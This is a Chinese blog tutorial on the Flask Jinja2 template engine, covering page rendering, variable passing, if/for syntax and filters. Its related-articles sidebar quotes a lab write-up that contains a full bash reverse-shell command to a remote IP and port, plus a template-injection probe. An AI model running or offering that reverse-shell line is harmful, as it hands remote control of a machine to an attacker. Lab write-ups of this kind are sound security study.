基于Pycharm的Python-flask 的学习分享 04

原创 于 2025-09-15 23:29:38 发布 · 371 阅读 · 3 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#python #pycharm #flask

基于Pycharm的Python-flask 的学习分享 04

前言

在 Flask Web 开发中，前端页面的动态渲染与前后端数据交互是核心需求，Jinja2 模板引擎是实现这一需求的关键工具 —— 它能让 Python 代码与 HTML 高效联动，还通过丰富语法和过滤器灵活处理数据展示逻辑。本文从 Jinja2 页面渲染原理切入，结合实战代码，逐步讲解前后端交互、核心语法（参数传递、条件判断、循环）及过滤器使用，帮助读者快速掌握其在 Flask 项目中的应用，为构建动态 Web 页面奠基。

jinja2的学习分享

一、jinja2页面渲染的基本原理实现与前后端交互

页面动态渲染的基本原理就是运用MVC模式编程在构造的实例化蓝图中把前端html的代码以字符串的形式返回；

代码实现

main.c：

from flask import Flask
import os

app = Flask(__name__,template_folder='template')

app.config['SECRET_KEY'] = os.urandom(24)

from controller.index import index
app.register_blueprint(index)

if __name__ == '__main__':
    app.run()

===========================================
controller/index：

from flask import Blueprint, render_template

index = Blueprint('index', __name__)

#页面会返回粗体文字
@index.route('/index')
def my_index():
    return "<strong>我是首页</strong>"

#把前端代码当成一个字符串返回出来，就可以把页面渲染起来了
@index.route('/index2')
def my_index2():
    str = """
        <!DOCTYPE html>
        <html>
            <head>
            <meta charset="utf-8"> 
            <title>实现页面跳转</title>
            <style>
            span{
                display: inline-block;
                width: 200px;
                height: 200px;
                line-height: 200px;
                text-align: center;
                background-color: black;
                color: white;
                font-size: 50px;
                }
            </style>
            </head>
            <body>
                <button>点我跳转百度</button>
                <span id="mySpan">5</span>
                <script>

                    var baiduBtn = document.querySelector('button');
                    var mySpan = document.getElementById('mySpan');


                    baiduBtn.addEventListener('click', function(){
                        console.log(location.href);
                        location.href = "https://www.baidu.com";
                    });


                    var timer = 5; 

                    setInterval(function(){
                        if(timer == 0){  
                            location.href = "https://www.baidu.com";
                        }else{
                            mySpan.innerHTML = timer;  
                            timer--; 
                       }
                    }, 1000);
                </script>
        </body>
    </html>
        """
    return str

#最基础的python代码和前端代码联动，实现按钮跳转和5s自动跳转
@index.route('/index3')
def my_index3():
    username = "gao"
    s = "<strong>{}</strong>".format(username)
    return s

#替换字符串中常量，实现按钮跳转并且10s后自动跳转
@index.route('/index4')
def my_index4():
    str = """
        <!DOCTYPE html>
        <html>
            <head>
            <meta charset="utf-8"> 
            <title>实现页面跳转</title>
            <style>
            span{
                display: inline-block;
                width: 200px;
                height: 200px;
                line-height: 200px;
                text-align: center;
                background-color: black;
                color: white;
                font-size: 50px;
                }
            </style>
            </head>
            <body>
                <button>点我跳转百度</button>
                <span id="mySpan">5</span>
                <script>
                    
                    var baiduBtn = document.querySelector('button');
                    var mySpan = document.getElementById('mySpan');

                    
                    baiduBtn.addEventListener('click', function(){
                        console.log(location.href);
                        location.href = "https://www.baidu.com";
                    });

            
                    var timer = {{timer}}; 
                   
                    setInterval(function(){
                        if(timer == 0){  
                            location.href = "https://www.baidu.com";
                        }else{
                            mySpan.innerHTML = timer;  
                            timer--; 
                       }
                    }, 1000);
                </script>
        </body>
    </html>
        """
    str = str.replace("{{timer}}","10")

    return str

#打开同级文件夹中的html文件,并且替换变量
@index.route('/index5')
def my_index5():
    with open("template/index.html",encoding="utf-8") as file:
        html = file.read()
    html = html.replace("{{timer}}", "10")
    return html

#直接打开写好的html模板，并且实现变量赋值,实现前后端联动
@index.route('/index6')
def my_index6():
    t = 7
    return render_template("index.html",timer=t)

=====================================================
template/index.html：
<!DOCTYPE html>
<html>
            <head>
            <meta charset="utf-8"> 
            <title>实现页面跳转</title>
            <style>
            span{
                display: inline-block;
                width: 200px;
                height: 200px;
                line-height: 200px;
                text-align: center;
                background-color: black;
                color: white;
                font-size: 50px;
                }
            </style>
            </head>
            <body>
                <button>点我跳转百度</button>
                <span id="mySpan">5</span>
                <script>

                    var baiduBtn = document.querySelector('button');
                    var mySpan = document.getElementById('mySpan');


                    baiduBtn.addEventListener('click', function(){
                        console.log(location.href);
                        location.href = "https://www.baidu.com";
                    });


                    var timer = {{timer}};

                    setInterval(function(){
                        if(timer == 0){  
                            location.href = "https://www.baidu.com";
                        }else{
                            mySpan.innerHTML = timer;  
                            timer--; 
                       }
                    }, 1000);
                </script>
        </body>
    </html>

二、jinja2三个重点基本语法和过滤器

jinja2中三个重点的基本语法就是参数的传递、if判断、for循环；
更多jinja2过滤器：点击前往查看更多jinja2过滤器

代码实现

main.c：
from flask import Flask
import os

#指定文件夹
app = Flask(__name__,template_folder='template')

app.config['SECRET_KEY'] = os.urandom(24)

from controller.index import index
app.register_blueprint(index)

if __name__ == '__main__':
    app.run()
===========================================
controller/index：
from itertools import count

from flask import Blueprint, render_template,session


index = Blueprint('index', __name__)

@index.route('/index')
def my_index():
    #1.session参数的传递
    session['username'] = "高先生"
    #2.对象传递
    article = {
        "title" : "论python语言的学习难度",
        "count" : 2000,
        "content" : "我是文章<strong>内容</strong>"
    }
    return render_template("index.html",article=article)
    
=====================================================
template/index.html：
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>jinja2中的参数传递、for循环、if判断</title>
</head>
<body>
{#第一步交给jinja2模板引擎，第二步才是HTML，所以注释不能用<!-- --> #}
{#注释的正确写法#}
{#jinja2中参数的传递#}
    <div>{{session.get('username')}},欢迎您登录</div>
    <div>文章的标题是：{{article.title}}</div>
    <div>文章的阅读量是：{{article.count}}</div>
{#jinja2中if、else判断#}
    {% if article.count % 2 == 0 %}
    <div>您的阅读量可以被2整除，是一个偶数</div>
    {% else %}
    <div>您的阅读量可以被2整除，是一个奇数</div>
    {% endif %}
{#jinja2中for循环#}
    {% for i in range(10) %}
    <div>当前循环的次数是{{i+1}}</div>
    {% endfor %}

{#最常用的过滤器#}
    {#实现加粗等#}
    <div>{{article.content | safe}}</div>
    {#实现开头字母大写#}
    <div>{{"hello world" | title}}</div>
    {#实现所有字母大/小写#}
    <div>{{"hello world" | upper}}</div>
    <div>{{"hello world" | lower}}</div>
    {#实现所有字母先大后小写#}
    <div>{{"hello world" | upper | lower}}</div>

{#自定义过滤器,add的实现在主程序里#}
    <div>{{ 1 | add}}</div>
</body>
</html>

总结

本文深入解析了 Flask 中 Jinja2 模板引擎的使用：从页面渲染原理出发，通过 “字符串返回前端代码→读取 HTML 文件渲染→render_template联动” 的代码示例，清晰呈现前后端交互过程；重点剖析参数传递、if 条件判断、for 循环三大核心语法，并结合safe（处理富文本）、title（格式化字符串）等过滤器，展现其在数据展示与逻辑控制上的灵活性。掌握 Jinja2 是 Flask 开发中衔接前后端的关键，能高效实现动态页面渲染，为复杂 Web 功能开发提供有力支撑。

基于python-flask的后台权限管理系统
张艳秋的博客
03-15 2081
1，项目功能： 2，涉及技术：Flask框架 3，开发环境：pycharm 4，讲解方式：从环境安装，项目搭建，以及项目介绍等进行讲解 5，包含资料：项目源码（含数据库文件），环境安装包，项目文档。 项目课程+项目下载：基于python-flask的后台权限管理系统 ...
基于Python-Flask实现的网站例子
热门推荐
findhappy117的博客
02-26 2万+
使用Flask写的体育网站 包括（注册 论坛 文章评论 组建战队 后台管理）等功能 示例地址文中有写 萌新 请多指教
基于Pycharm的Python-flask 的学习分享 01
2402_86633703的博客
09-11 1057
本文介绍了轻量级Web开发框架Flask，其以自由灵活、对新手友好著称。文中详解环境搭建：含Python解释器与PyCharm安装，虚拟环境配置（通过virtualenv及virtualenvwrapper-win，设置WORKON_HOME环境变量实现多项目隔离），并介绍用requirements.txt管理依赖的方法。最后通过“Hello, World!”示例，展示了Flask项目的创建与运行，帮助初学者快速掌握Flask基础，为Web开发入门奠定基础
python-flask学习笔记 ①
zhuaishao_的博客
01-08 883
1.flask是什么： （1）python中的 库/框架 包 模块 函数 一段程序中： 一个模块（module）就是一个py文件，模块的名字就是该文件的名字（不包含后缀） 一个 包（package）就是一个文件夹，（Python2规定该文件夹必须包含一个 __init__.py ，Python3没有要求），包名就是文件夹名。 能解决同一类问题模块的集合就可以叫做库/框架，库中包含模块的个数任意 python中具有相同属性和方法的对象归为一个类(class)，导入一个类表示程序的类型 实..
Python-Flask虚拟环境（1）
肿肿的博客
10-31 1653
Python虚拟环境的创建以及切换
python上手--flask框架web开发实践-数据库
plumlee的专栏
11-20 5525
这篇文章，由易而难，步骤清晰，思路讲得很明白。花两小时跟着作者稻谷先生的这篇文章走一遍，对学习python使用Flask来开发web的应用很有帮助。
配置flask以及python和pycharm
2201_75903640的博客
09-12 310
4.打开pycharm，com+， 打开设置，根据下图，点击逗号。5.完成后，创建.py,运行测试，点击下方连接。1.官网下载python，pycharm即可。
python-flask-mysql完整web项目
阿P的技术博客
04-07 3359
公众号：不会写代码的阿P 项目源码在文章最下方---> 项目结构： 1.数据库连接池 通过pip插入数据驱动依赖pip install flask-sqlalchemy 和 pip install pymysql 1.1配置数据源(config.py) DIALECT = 'mysql' DRIVER = 'pymysql' USERNAME = 'root' PASSWORD = '123321' HOST = '127.0.0.1' PORT = '3306' DATA.
Python第三方库 - Flask(python web框架)
JUN_7777的博客
10-25 5238
flask轻量级框架
python-flask-django舞蹈工作室管理系统pycharm
QQ1304979694的博客
10-27 1284
Flask框架的主要特征是核心构成比较简单，但具有很强的扩展性和兼容性，程序员可以使用Python语言快速实现一个网站或Web服务。一般情况下，它不会指定数据库和模板引擎等对象，用户可以根据需要自己选择各种数据库。Flask是目前十分流行的web框架，采用Python编程语言来实现相关功能。在数据可视化程序中，使用Python面向对象编程的特点开发出通用的管理系统，并进行数据的展示、管理等基本操作。
pycharm和python-3.10.3-amd64
03-20
**PyCharm与Python 3.10.3在AMD64架构下的应用** PyCharm是一款由JetBrains公司开发的强大的Python集成开发环境（IDE），专为Python程序员设计，提供了一流的代码编辑、调试、测试和项目管理功能。它有两个主要版本...
python基于flask的音乐系统源码.zip
05-18
2、具备分类功能，根据不同地区、曲风、歌手类型对歌曲分类 ... ... 5、具备搜索功能，用户根据歌曲名称或歌手名搜索歌曲 ... 开发框架： Flask + SQLAlchemy + Flask-Script+ Flask-Migrate+ jQuery+ blueprint等
高分课程设计-基于python+flask+echarts 的大数据分析与可视化，可视化大屏，地图可视化，数据分析+源码+文档说
04-21
高分课程设计-基于python+flask+echarts 的大数据分析与可视化，可视化大屏，地图可视化，数据分析 - 不懂运行，下载完可以私聊问，可远程教学 该资源内项目源码是个人的毕设，代码都测试ok，都是运行成功后才上传...
Python进程和线程——多线程
最新发布
Derrick__1的博客
09-15 220
不过由于多进程中，同一个变量，各自有一份拷贝存在于每个进程中，互不影响，而多线程中，所有变量都由所有线程共享，所以，任何一个变量都可以被任何一个线程修改，因此，线程之间共享数据最大的危险在于多个线程同时改一个变量，把内容给改乱了。不过这里的锁虽然可以让我们的内容不那么紊乱，但是包含锁的某段代码实际上只能以单线程模式执行，效率就大大地下降了甚至他会让多个锁在一起执行可能形成一个死锁。前面提到过进程是由很多线程组成的，那么今天廖老师就详细解释了线程是如何运行的。根据廖老师的例子，运行出来如此的结果。
Python的f格式
lmf666的博客
09-11 1206
你的语句print(f"已发送请求: {a} + {b}")可以通俗地理解为：“打印一句话。这句话的内容是‘已发送请求: ’，然后紧接着把变量a的值放这里，再放一个加号 ‘+’，再然后把变量b的值放这里。这种的格式是当今 Python 世界最主流、最推荐的字符串格式化方式，因为它写起来最自然，读起来最清晰。希望你以后多多使用它！
Django框架的基础知识
2301_76989410的博客
09-14 900
Django是一个基于Python的高级Web开发框架，采用MTV（模型-模板-视图）架构模式。它由WorldOnline团队开发并于2005年开源，旨在简化Web开发流程。Django的工作流程包括URL解析、视图处理、数据库交互和模板渲染等步骤。框架特点包括全功能支持、ORM系统、自动管理后台、安全机制和国际化等，能有效提升开发效率。Django通过中间件处理请求和异常，并采用配置文件管理项目参数，为开发者提供完整的Web解决方案。
python学习进阶之异常和文件操作(三)
weixin_48446170的博客
09-11 1151
本文主要介绍了Python中的异常处理和文件操作两大核心内容以及如何操作json类型文件
Tempus Fugit: 3靶场
sucker的博客
09-14 842
bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1' 的目的是在目标机上发起一个反向交互 shell，向远端 IP 192.168.23.128 的端口 4444 建立 TCP 连接，并把当前 shell 的输入/输出都重定向到该连接（攻击者在该端口上监听即可获得交互式 shell）。URL测试一下{{7*7}}，页面回显不一样了，报错回显中URL参数变成了49，说明{{7*7}}被当作命令执行了，标准的python模板注入漏洞。
Java | 掌握 Java 8 四大函数式接口：Consumer、Supplier、Predicate、Function
Andya_net的博客
09-14 580
Java 8函数式编程四大核心接口详解 摘要：Java 8引入的函数式编程特性中，java.util.function包提供了四大核心接口：Consumer（消费型，接收参数无返回值）、Supplier（供给型，无参数返回结果）、Predicate（断言型，接收参数返回布尔值）和Function（函数型，接收参数返回结果）。本文详细解析了各接口的源码结构、使用方法和典型应用场景，如Consumer用于日志打印和集合遍历，Supplier实现延迟计算，Predicate进行数据过滤，Function处理类型转
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值